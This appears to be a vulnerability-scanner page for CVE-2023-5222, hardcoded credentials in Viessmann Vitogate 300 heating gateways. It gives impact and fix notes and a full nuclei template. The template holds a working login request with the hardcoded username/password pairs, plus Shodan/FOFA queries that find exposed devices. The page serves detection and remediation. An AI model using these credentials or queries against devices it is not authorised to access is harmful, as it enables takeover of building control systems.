Viessmann Vitogate 300 - Hardcoded Password

criticalseverity

9.8CVSS score

80.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

A critical vulnerability in Viessmann Vitogate 300 up to 2.1.3.0 allows attackers to authenticate using hardcoded credentials in the Web Management Interface.

Impact

An attacker could potentially gain unauthorized access to the device.

Fix

Update the device firmware to remove the hardcoded password or change it to a strong, unique password.

How to confirm it

Send: POST /cgi-bin/vitogate.cgi
Positive when: contains "admin\":true" and "\"sessionId\":" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-5222 -u <target>

The full check

id: CVE-2023-5222

info:
  name: Viessmann Vitogate 300 - Hardcoded Password
  author: ritikchaddha
  severity: critical
  description: |
    A critical vulnerability in Viessmann Vitogate 300 up to 2.1.3.0 allows attackers to authenticate using hardcoded credentials in the Web Management Interface.
  impact: |
    An attacker could potentially gain unauthorized access to the device.
  remediation: |
    Update the device firmware to remove the hardcoded password or change it to a strong, unique password.
  reference:
    - https://vuldb.com/?ctiid.240364
    - https://vuldb.com/?id.240364
    - https://nvd.nist.gov/vuln/detail/CVE-2023-5222
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-5222
    cwe-id: CWE-259
    epss-score: 0.80402
    epss-percentile: 0.99626
    cpe: cpe:2.3:o:viessmann:vitogate_300_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    shodan-query: title:"Vitogate 300"
    fofa-query: title="Vitogate 300"
    vendor: viessmann
    product: vitogate_300_firmware
  tags: cve,cve2023,viessmann,vitogate,default-login,vkev,vuln

http:
  - raw:
      - |
        POST /cgi-bin/vitogate.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"put","form":"form-login","params":{"uid":"{{username}}","pwd":"{{password}}"}}

    attack: pitchfork
    payloads:
      username:
        - vitomaster
        - vitogate
      password:
        - viessmann1917
        - viessmann

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'admin":true'
          - '"sessionId":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from